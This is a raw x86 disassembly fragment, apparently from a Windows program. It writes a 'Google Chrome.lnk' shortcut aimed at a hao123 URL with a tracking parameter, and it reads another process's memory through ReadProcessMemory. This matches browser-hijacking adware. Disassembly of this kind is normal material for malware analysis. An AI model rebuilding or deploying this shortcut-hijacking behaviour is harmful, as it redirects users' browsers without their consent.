push 0
lea edx, [ebp - 0x108]
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x108]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x42add0
mov ecx, dword [str.Google_Chrome.lnk]
mov edx, dword [0x4489b8]
mov dword [eax], ecx
mov ecx, dword [0x4489bc]
mov dword [eax + 4], edx
mov edx, dword [0x4489c0]
mov dword [eax + 8], ecx
mov cx, word [0x4489c4]
mov dword [eax + 0xc], edx
mov dl, byte [0x4489c6]
mov word [eax + 0x10], cx
mov byte [eax + 0x12], dl
mov eax, dword [ebp - 0x648]
mov edx, dword [eax - 8]
mov ecx, edi
sub ecx, dword [eax - 4]
sub edx, 0x104
or ecx, edx
jge 0x42ae3d
push 0x104
lea ecx, [ebp - 0x648]
call fcn.00401bb0
mov eax, dword [ebp - 0x648]
push eax
lea ecx, [ebp - 0x74c]
call fcn.0041c630
mov esi, dword [eax]
push ecx
mov ecx, esp
push str.hao123
call fcn.00408290
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x414]
push ecx
push ecx
mov ecx, esp
push str._http:__www.hao123.com__tn95212889_hao_pg_
call fcn.00407e20
push esi
call fcn.00422f50
add esp, 0x14
lea ecx, [ebp - 0x74c]
call fcn.004021f0
mov esi, dword [ebp - 0x640]
mov edx, dword [ebp - 0x630]
mov eax, dword [ebp - 0x634]
push esi
push edx
push 0x100e
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
mov edx, dword [ebp - 0x638]
push 0
push 0x10
lea ecx, [ebp - 0x624]
push ecx
push esi
push edx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x624]
mov ecx, dword [ebp - 0x620]
mov edx, dword [ebp - 0x61c]
mov dword [ebx], eax
mov eax, dword [ebp - 0x618]
mov dword [ebx + 4], ecx
mov dword [ebx + 8], edx
mov dword [ebx + 0xc], eax
mov dword [ebp - 0x63c], edi
lea ecx, [ebp - 0x684]
call fcn.004021f0
lea ecx, [ebp - 0x648]
call fcn.004021f0
mov eax, dword [ebp - 0x62c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x42af21
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [ebp - 0x630]
mov esi, dword [ebp - 0x638]
inc eax
mov dword [ebp - 0x630], eax
cmp eax, dword [ebp - 0x754]
jl 0x427570
mov edi, dword [ebp - 0x640]
mov ecx, dword [ebp - 0x6b8]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
push ecx
push esi
call ebx
mov edx, dword [ebp - 0x6c0]
push 0x8000
push 0
push edx
push esi
call ebx
push 0x8000
push 0
push edi
push esi
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x42af9f
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x63c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0042d3b1
mov esp, ebp
pop ebp
ret
push 0
call fcn.0042ed83
int3